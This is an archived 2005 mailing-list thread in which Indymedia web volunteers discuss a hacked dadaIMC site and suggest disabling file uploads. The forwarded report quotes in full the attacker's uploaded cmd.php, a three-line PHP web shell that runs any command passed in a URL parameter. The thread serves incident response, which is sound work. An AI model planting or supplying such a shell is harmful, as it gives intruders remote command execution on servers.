[Imc-tech] Re: [Imc-web] [Fwd: dada hacked]

[Mike Lehman]

Sorry, Dan, I don't, but this is exactly the file that I am referring 
to. So we do have a problem (or at least an attempted problem.) All it 
gave me was a forbidden message when I opened it, but I don't have admin 
access, so I can't tell if anything unusual going on behind the scenes.
Mike Lehman

Daniel S. Lewart wrote:

> Mike, Zach, et al,
> 
> If someone knows how to disable uploads, that would be a good thing.
> 
> Cheers,
> Dan
> 
> -------- Original Message --------
> Subject: dada hacked
> Date: Thu, 28 Apr 2005 12:04:04 -0300 (BRT)
> From: pietro <pietro at indymedia.org>
> Reply-To: dadaIMC Discussion <dadaIMC at lists.nothingness.org>
> To: dadaIMC at lists.nothingness.org
> 
> hey folks,
> 
> nj imc was one of the hacked dada sites. it was running .98. looking at
> the logs it seems that the attacker uploaded a .php file and used it to
> execute comands on the server.
> 
> the file was called cmd.php and its contects is:
> 
> <?php
> $cmd = $_GET['cmd'];
> passthru("$cmd", $return);
> ?>
> 
> 
> pietro.
> 
> 
> -------------
> To unsubscribe, send blank email
> to dadaIMC-off at lists.dadaimc.org
> 
> _______________________________________________
> Imc-web mailing list
> Imc-web at lists.ucimc.org
> http://lists.chambana.net/cgi-bin/listinfo/imc-web
>